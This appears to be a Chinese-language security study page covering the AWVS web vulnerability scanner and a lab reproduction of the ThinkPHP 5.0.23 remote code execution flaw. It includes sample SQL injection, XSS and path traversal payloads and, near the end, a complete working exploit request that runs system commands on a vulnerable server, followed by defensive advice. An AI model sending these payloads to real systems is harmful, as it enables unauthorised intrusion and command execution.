AWVS
🕳️

AWVS

Tags
AWVS
漏洞扫描工具
状态
Published
March 23, 2025
Author
敬请T期待

简介


漏洞扫描

漏洞扫描(Vulnerability Scanning)是一种通过自动化或半自动化手段,对目标系统(如网络设备、应用程序、操作系统等)进行安全弱点检测的过程。其核心目的是发现潜在的安全漏洞(如配置缺陷、未修复补丁、编码错误等),并基于风险优先级提供修复建议,以防止被攻击者利用。

AWVS

AWVS 是一款由 Acunetix 公司开发的自动化网络应用漏洞扫描工具,广泛用于检测 Web 应用程序、API 和网络服务中的安全漏洞。它通过模拟攻击者的行为,识别潜在的安全风险,帮助企业和安全团队保护资产。
 

漏洞扫描核心分类


  1. 按范围分类
      • 网络层扫描:发现开放端口、服务版本及网络设备漏洞(如弱密码、过期协议)。
      • 应用层扫描:针对 Web 应用、API、移动应用检测逻辑漏洞(如 SQL 注入、XSS)。
      • 主机层扫描:检查操作系统、数据库的补丁状态与配置合规性(如 Linux 未授权访问)。
  1. 按技术深度分类
      • 黑盒扫描(无源码):模拟攻击者视角(如 AWVS 的动态扫描)。
      • 白盒扫描(有源码):通过代码审计(如 SAST)发现逻辑漏洞与硬编码密钥。
      • 灰盒扫描:结合运行时数据(如 IAST)提升准确性。

AWVS核心功能


  1. 自动化漏洞检测
    1. 支持 OWASP Top 10、CWE Top 25 等常见漏洞类型,包括:
      • 注入攻击(SQL 注入、OS 命令注入)
      • 跨站脚本(XSS) 和 跨站请求伪造(CSRF)
      • 配置错误(如易受攻击的标头、SSL/TLS 弱协议)
      • 敏感数据泄露(目录遍历、未加密的传输)
      • 逻辑漏洞(业务逻辑缺陷)。
  1. 进阶技术覆盖
      • 支持 SPA(单页应用)、REST API、GraphQL 的扫描。
      • 集成了 DOM-based XSS 检测引擎,精准识别现代前端框架(如 React、Vue)的漏洞。
  1. 身份验证扫描
    1. 支持模拟登录(表单、Cookie、多步验证),检测权限提升与会话管理漏洞。
  1. 报告与合规
    1. 生成详尽的 PDF/HTML 报告(含 PoC 和修复建议),并符合 PCI DSS、GDPR 等合规性要求。

AWVS工作原理


1. 整体工作流程

AWVS 通过 动态分析技术(DAST) ,模拟攻击者行为对目标进行安全评估,主要步骤包括:
目标配置 → 爬取内容 → 漏洞探测 → 结果分析与验证 → 生成报告

2. 核心原理与技术拆解

(1)目标初始化与爬取

  • CMS 识别 通过响应头、HTML 指纹(如 WordPress 的 /wp-content/ 路径)识别目标技术栈(框架、服务器、数据库)。
    • 💡
      CMS(Content Management System,内容管理系统)识别是网络安全扫描的关键环节,其目标是通过技术手段快速确定目标网站使用的 CMS 类型(如 WordPress、Joomla、Drupal 等)。这一过程直接影响后续漏洞检测的效率和准确性。
  • 深度爬虫 基于传统爬虫 + 动态渲染引擎(内置无头浏览器),解析 JavaScript 动态生成的内容(如 Ajax、SPA),构建完整的 URL 树和请求参数。
  • 身份验证集成 模拟登录(如 Cookie、Token、OAuth 2.0),确保爬虫覆盖权限内的所有端点。

(2)主动漏洞检测

  • 规则引擎驱动 基于 漏洞模式库(覆盖 OWASP Top 10、CWE 等)发送多种攻击载荷,例如:
    • SQL 注入:构造 ' OR 1=1;-- 等语句,观察响应差异或延迟。
    • XSS 漏洞:插入 <script>alert(1)</script>,检测反射/存储型漏洞。
    • 文件包含:尝试通过 ../../etc/passwd 等路径探测敏感文件泄露。
  • 上下文感知(Context-aware Scanning) 识别输入点类型(如参数、头字段)并针对性测试,例如 JSON 格式参数可能测试注入语法转义而非传统 SQL 语句。
  • 动态行为分析 监控异常响应(如数据库错误、敏感关键词、HTTP 500 状态码),结合行为分析判定潜在漏洞。

(3)漏洞验证

  • 误报过滤 自动去重并排除误报(如通过多次重试消除临时网络错误导致的假阳性结果)。
  • PoC(概念验证) 对高危漏洞提供手动复现建议(例如显示注入点的 HTTP 请求原始包)。

(4)智能扫描策略

  • 分阶段扫描 优先检测高风险场景(如身份验证接口、敏感 API 路径),提升效率。
  • 增量扫描 针对频繁更新的 Web 应用,比对历史结果仅扫描变化部分。

3. 关键技术亮点

  • JavaScript 引擎模拟 通过无头浏览器(如 Chromium 内核)执行复杂的客户端逻辑(如 Vue/React 的 DOM 操作),确保覆盖现代前端框架漏洞。
  • 协议级流量分析 支持 WebSocket、HTTP/2 等协议,解析非标字段(如 GraphQL 的 JSON-RPC 请求)。
  • 机器学习增强 利用历史扫描数据训练模型,优化攻击载荷的选择(例如优先使用高成功率的 Payload)。

4. 与其他工具的协同

  • 与渗透测试工具集成 导出漏洞结果至 Burp Suite、Metasploit 等工具进行深入利用。
  • DevOps 流水线整合 通过 REST API 触发自动化扫描,结合 Jenkins/GitLab 在开发阶段阻断高危漏洞。

5. 实际漏洞检测示例

SQL 注入漏洞探测为例:
  1. 爬虫阶段:识别目标 URL 的查询参数(如 ?id=1)。
  1. 载荷注入:发送 id=1' AND SLEEP(5)--,若响应延迟 5 秒,则触发漏洞警报。
  1. 误报验证:重复发送多种时间盲注载荷(如 SLEEP(3)SLEEP(7)),确认延迟与参数严格相关。
  1. 结果归类:标记漏洞类型,并在报告中提供修复建议(如参数化查询)。

总结

AWVS 通过 自动化动态分析 + 模式匹配引擎 实现高效漏洞扫描,核心价值在于:
  • 对现代技术的深度支持(AJAX、SPA、REST API)
  • 低误报率的智能验证逻辑
  • 渗透测试级攻击模拟能力

AWVS基本使用方法


1. 创建扫描目标

  • 手动输入目标
    • 点击 New ScanTarget → 输入 URL(支持 HTTP/HTTPS),例如 https://example.com
      注意:若需认证(如登录页面),需配置 Authentication 模块(支持表单、Cookie、OAuth)。
  • 批量导入目标
    • 通过 Import from File 上传 CSV/TXT 列表(格式:每行一个 URL)。

2. 配置扫描策略

选择 Scan Configuration → 从预设模板中选择:
<PLAINTEXT> 1. Full Scan ✅ 全量扫描(耗时最长) 2. High Risk ✅ 仅检测高风险漏洞(SQLi、XSS) 3. Quick Scan ✅ 快速扫描(仅爬取 + 基础测试)
自定义配置
  • 爬虫设置:是否执行深度链接跟踪(Crawl Depth)、限制请求速率(Max Requests/sec)。
  • 测试范围:勾选漏洞类型(如 Insecure Deserialization)。
  • 排除路径:添加敏感路径(如 /admin/backup)避免触发误操作。

3. 身份认证配置(如扫描需登录的 Web 应用)

方式 1:表单认证(Form-based)
  • 输入登录 URL(如 https://example.com/login)。
  • 填写用户名、密码字段(需通过浏览器 DevTools 检查表单参数名)。
方式 2:Cookie/Session 注入
  • 使用浏览器插件(如 EditThisCookie)导出当前会话 Cookie 值,粘贴至 Manual Session 模块。

4. 启动扫描

  • 点击 Scan Now,扫描状态实时显示:
  • 监控进度
    • 实时查看已检测的请求数、发现的漏洞数量。
    • 通过 Live Events 跟踪当前正在测试的漏洞类型。

5. 漏洞分析与验证

  • 漏洞详情页
    • 危险等级:红色(高危)、橙色(中危)、黄色(低危)标记。
    • 请求/响应示例:显示触发漏洞的原始 HTTP 请求和响应内容。
    • 修复建议:提供代码示例或配置调整方案(如输入过滤正则表达式)。
  • 验证漏洞
    • 复制请求到 Burp Suite/Postman 手动重放,确认可复现。
    • 对误报点击 Mark as False Positive,避免下次重复检测。

6. 报告生成与导出

  • 报告模板
    • Developer Report:技术细节(HTTP 流量、漏洞位置)。
    • Executive Summary:管理层摘要(漏洞统计、风险趋势)。
  • 导出格式:PDF、HTML、CSV(支持与 Jira、GitLab 集成)。

ThinkPHP5 5.0.23 远程代码执行漏洞

框架运行环境

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
ThinkPHP5 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞复现

发送数据包:
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功执行id命令:
notion image
notion image

🕵️ 分解参数与攻击逻辑

参数结构
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

1️⃣ _method=__construct

  • 作用:覆盖类的构造函数
    • 在 ThinkPHP 框架中,通过 _method 参数可伪造 HTTP 请求方法(如 POSTPUT/DELETE)。但此处设置为 __construct,会尝试触发目标类的 构造函数
  • 漏洞触发点:如果框架未对 _method 的值做严格限制,攻击者可通过此参数控制类的初始化逻辑。

2️⃣ filter[]=system

  • 作用:注入恶意过滤器
    • filter 参数在 ThinkPHP 中用于指定输入数据的 过滤函数(如安全过滤函数 htmlspecialchars)。
    • 此处将过滤器设置为 system(系统命令执行函数),使得后续数据通过 system() 处理,直接将输入作为命令执行。

3️⃣ method=get

  • 作用:指定方法调用类型
    • method=get 表示通过 GET 方式调用方法。结合 _method 参数,可能绕过框架的路由安全检查,强制控制器以特定方式处理请求。

4️⃣ server[REQUEST_METHOD]=id

  • 作用:篡改请求方法元数据
    • server[REQUEST_METHOD] 对应 $_SERVER['REQUEST_METHOD'],通常记录的原始 HTTP 方法(如 GET/POST)。
    • 此处将其设为 id(任意字符串),目的是 干扰框架对请求的合法性校验,同时 id 会作为 system() 的参数被执行,返回当前用户的系统信息:
      • id # 输出类似 uid=1000(user) gid=1000(group)

💥 攻击流程总结

通过参数构造,攻击者在 ThinkPHP 漏洞环境中可实现以下操作:
  1. 覆盖构造函数:强制目标类在初始化时加载攻击者控制的参数。
  1. 注入恶意过滤器:使输入数据被 system() 函数处理,任何经过该过滤器的参数均会触发系统命令执行。
  1. 篡改请求方法:绕过安全机制,最终由 system('id') 实现操作系统命令执行,验证漏洞存在。

🛡️ 防御措施

若项目使用 ThinkPHP,需采取以下防护:
  1. 升级框架版本:确保使用官方修复后的最新版本(如 >= ThinkPHP 5.0.24)。
  1. 输入过滤:严格校验 _methodfilter 等参数,禁止用户控制此类敏感字段。
  1. 禁用危险函数:在 php.ini 中禁用 systemexec 等函数。
  1. 日志监控:记录异常请求参数,及时发现攻击行为。
// 安全示例:在控制器中明确允许的过滤函数 $data = input('param.', [], 'htmlspecialchars,strip_tags'); // 只允许安全过滤